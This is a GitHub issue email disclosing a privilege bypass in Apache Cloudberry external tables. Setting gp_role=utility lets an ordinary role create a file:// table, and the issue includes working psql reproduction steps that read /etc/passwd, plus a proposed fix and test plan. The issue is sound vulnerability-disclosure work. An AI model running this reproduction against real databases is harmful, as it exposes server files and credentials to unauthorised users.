my-ship-it opened a new issue, #1992:
URL: https://github.com/apache/cloudberry/issues/1992

   
   ### Apache Cloudberry version
   
   Affected: 2.1.0-incubating and earlier, and current `main` (verified on 
`c781604c5ba`).
   
   ### What happened
   
   The privilege check that enforces "only a superuser may create a `file://` 
external table"
   is skipped entirely when the session runs in utility mode.
   
   In `gpcontrib/gp_exttable_fdw/option.c`, `gp_exttable_permission_check()` 
gates the whole
   check block on the dispatch role:
   
   ```c
   if (!is_superuser && Gp_role == GP_ROLE_DISPATCH)
   {
       /*
        * - Never allow 'file' exttables if not superuser.
        * - Allow http, gpfdist or gpfdists tables if pg_auth has the right
        *   permissions for this role and for this type of table
        */
       is_valid_locationuris(location_list, is_writable);
       ...
   }
   ```
   
   Under `Gp_role == GP_ROLE_UTILITY` the condition is false, so neither the 
`file://`
   superuser restriction nor the `gpfdist`/`gpfdists` `pg_authid` privilege 
checks
   (`rolcreaterexthttp`, `rolcreaterextgpfd`, `rolcreatewextgpfd`) ever run.
   
   The role is reachable by an unprivileged user: `gp_role` is a `PGC_BACKEND` 
GUC, and
   its validator `check_gp_role()` (`src/backend/cdb/cdbvars.c`) has no 
superuser gate —
   it only forbids *upgrading* an already-assigned role. A client can therefore 
request
   utility mode in the startup packet (`PGOPTIONS='-c gp_role=utility'`) as an 
ordinary
   login role.
   
   The resulting table is a normal catalog entry. Once created in a 
utility-mode session,
   it can be read from an ordinary dispatch session, so the attacker gets 
arbitrary
   server-side file reads with the privileges of the OS account running the 
database
   (`/etc/passwd`, `pg_hba.conf`, `postgresql.conf`, key material, WAL and data 
files, …).
   
   ### What you think should happen instead
   
   The `file://` protocol restriction — and the `pg_authid` protocol privileges 
for
   `gpfdist`/`gpfdists` — are security boundaries and must hold in every 
connection mode
   a user can reach. `gp_role` is a transport/topology setting, not an 
authorization
   level, so it must not be able to turn a privilege check off.
   
   ### How to reproduce
   
   ```bash
   # 1. As a superuser, create an unprivileged login role.
   psql -p 7000 -c "CREATE ROLE lowpriv LOGIN;"
   
   # 2. Connect as that role in utility mode and create a file:// external 
table.
   PGOPTIONS='-c gp_role=utility' psql -p 7000 -U lowpriv -d postgres <<'SQL'
   SELECT current_setting('gp_role');   -- utility
   SELECT current_setting('is_superuser');  -- off
   CREATE READABLE EXTERNAL TABLE etc_passwd (data text)
     LOCATION ('file://localhost/etc/passwd') FORMAT 'TEXT';
   SQL
   # Expected: ERROR: must be superuser to create an external table with a file 
protocol
   # Actual:   CREATE EXTERNAL TABLE
   
   # 3. Read it back from an ordinary (dispatch) session as the same 
unprivileged role.
   psql -p 7000 -U lowpriv -d postgres -c "SELECT * FROM etc_passwd;"
   ```
   
   The same bypass applies to `gpfdist://` / `gpfdists://` locations for a role 
that lacks
   `rolcreaterextgpfd`, and to the `http://` protocol for a role that lacks 
`rolcreaterexthttp`.
   
   ### Operating System
   
   Rocky Linux 9.6 (Blue Onyx). Not OS-specific.
   
   ### Anything else
   
   **Impact.** CVSS v3.1 **6.5 Medium** —
   `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N`. Reproducible every time; no race, no 
special
   cluster configuration. This is not by design: the superuser-only restriction 
on
   `file://` is documented and is simply not reached in utility mode.
   
   **Proposed fix.** Run the check in utility mode as well:
   
   ```diff
   -    if(!is_superuser && Gp_role == GP_ROLE_DISPATCH)
   +    if(!is_superuser &&
   +       (Gp_role == GP_ROLE_DISPATCH || Gp_role == GP_ROLE_UTILITY))
   ```
   
   `GP_ROLE_EXECUTE` is deliberately left out. That role is only ever set by 
the internal
   dispatch handshake and cannot be forged through `PGOPTIONS`, so excluding it 
closes the
   hole without re-validating DDL on the segments that the coordinator has 
already checked.
   
   **Test coverage.** A regression case belongs in
   `src/test/isolation2/input/external_table.source`: from a `-1U` (utility) 
session,
   `SET SESSION AUTHORIZATION` to a non-superuser role and assert that both a 
`file://`
   and an unprivileged `gpfdist://` `CREATE READABLE EXTERNAL TABLE` are 
rejected, then
   assert nothing was created in `pg_class`.
   
   **Credit.** Reported to `[email protected]` by Geo (`[email protected]`); 
triaged and
   accepted by the Apache Cloudberry PMC. Back-ports to affected release 
branches to follow.
   
   - [x] Yes, I am willing to submit a PR!
   


-- 
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.

To unsubscribe, e-mail: [email protected]

For queries about this service, please contact Infrastructure at:
[email protected]


---------------------------------------------------------------------
To unsubscribe, e-mail: [email protected]
For additional commands, e-mail: [email protected]

Reply via email to